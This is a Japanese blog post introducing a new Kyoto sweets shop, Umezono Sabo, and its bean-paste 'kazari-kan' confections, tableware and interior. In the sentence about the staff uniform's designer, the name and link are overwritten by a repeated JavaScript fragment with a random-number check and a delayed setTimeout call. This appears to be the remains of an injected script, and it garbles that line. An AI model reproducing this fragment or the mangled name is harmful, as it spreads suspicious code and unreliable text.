こんにちは、寺本恵里です。

今回は京都の老舗、創業1927年の甘味処『梅園』の新店舗『うめぞの茶房』さんをご紹介します。

今年3月にオープンされてから、うめぞの茶房さんが展開されるお菓子、「かざり羹」を見て、その可愛らしい形や洋菓子を思わせるような見たことない組み合わせにとても興味を持ち、今回インタビューさせていただきました。

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お店は、地下鉄鞍馬口駅から徒歩15分ほどの、いわゆる西陣と言われるエリアにあります。

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店内に入ると、アンティークでかわいらしいショーケースの中に、「かざり羹」が並んでいます。

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約1年がかりで考案された「かざり羹」は、餡を、寒天とわらび粉、蓮根粉で流し固めたもの。

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羊羹のような重さはなく、みずみずしくてほのかにわらび粉の弾力が感じられる独特の食感です。ベースとなる四角い餡の上に生クリームやフルーツなどがのっていて、和菓子なのに洋風のケーキのような組み合わせが特徴です。

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店主の西川さんは、日常のおやつとして餡にフルーツなどの組み合わせを楽しんでおり、それがアイデアに繫がったのだそう。

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夏のオススメのひとつ「赤しそ」は、梅雨の時期に作った紫蘇のシロップでベースの餡をつくり、枝豆の蜜煮が入った寒天と二層仕立てになっています。

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赤紫蘇と枝豆のグリーンの色がとても美しくて、食べると紫蘇の甘酸っぱい風味が香って、ほのかにずんだ餅を思い出すような面白さでした。

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こちらは定番の「こしあん」です。

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今の季節はデラウェアとアーモンドを煎ってつくられた白あんがのせられています。白あんを生クリームのように絞っているのがとてもかわいいです!

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定番だけど夏はとくに人気!写真左の「レモン」は、レモン果汁でつくったベースに、生クリームと自家製のドライライムとほうじ茶という組み合わせ。レモンとほうじ茶!これがすっごく合うんです。

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さらにこちらは「カカオ」。

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こしあんとココアのベースに生クリームと京都の一味がかけられて、金柑がじゅわっとくるおいしさでした。夏でもさっぱり食べられるようなチョコレート味です。

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最後にいただいたのが、「紅茶」。

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アールグレイの茶葉でつくられたベースに、アーモンドの白あん、ローズレッドとローズピンクの2種類のバラの花びらがのせられていました。バラの花びらは、それぞれ香りが違うものを使っているのだそう。そのこだわりにびっくり!フルーツのキウイは、季節によって変えているのだそうです。

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そして、この愛らしいかざり羹の舞台となる素敵な食器は、京都の作家、高木剛さんによるもの。

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この日お話をお伺いしたのは、スタッフの橘さん。とっても魅力的な制服は、andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}anda.com/” target=”_blank”>Takeshi Kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andaさんが手がけられています。

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古い町家が生かされて味わいのある2階のお席では、ゆっくりお茶を楽しむこともできます。

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テイクアウトの包装紙もとってもかわいいです。こちらは、お店のロゴもつくられた、イラストレーターの西 淑(にし しゅく)さんによるもの。

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「かざり羹」は当日中のお召し上がりで、手土産にもオススメです。

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甘味処は、夏はカキ氷、冬はぜんざいというのが定番でしたが、この「かざり羹」の小さな世界で季節のうつろいを細やかに表現したいとおっしゃられてました。組み合わせが無限だからこその難しさもあるそうです。

今後は秋冬に合わせて、少しリッチな味わいのものもつくっていきたいとのこと。季節が変わるたびにおとずれたい、京都の新しい和菓子です。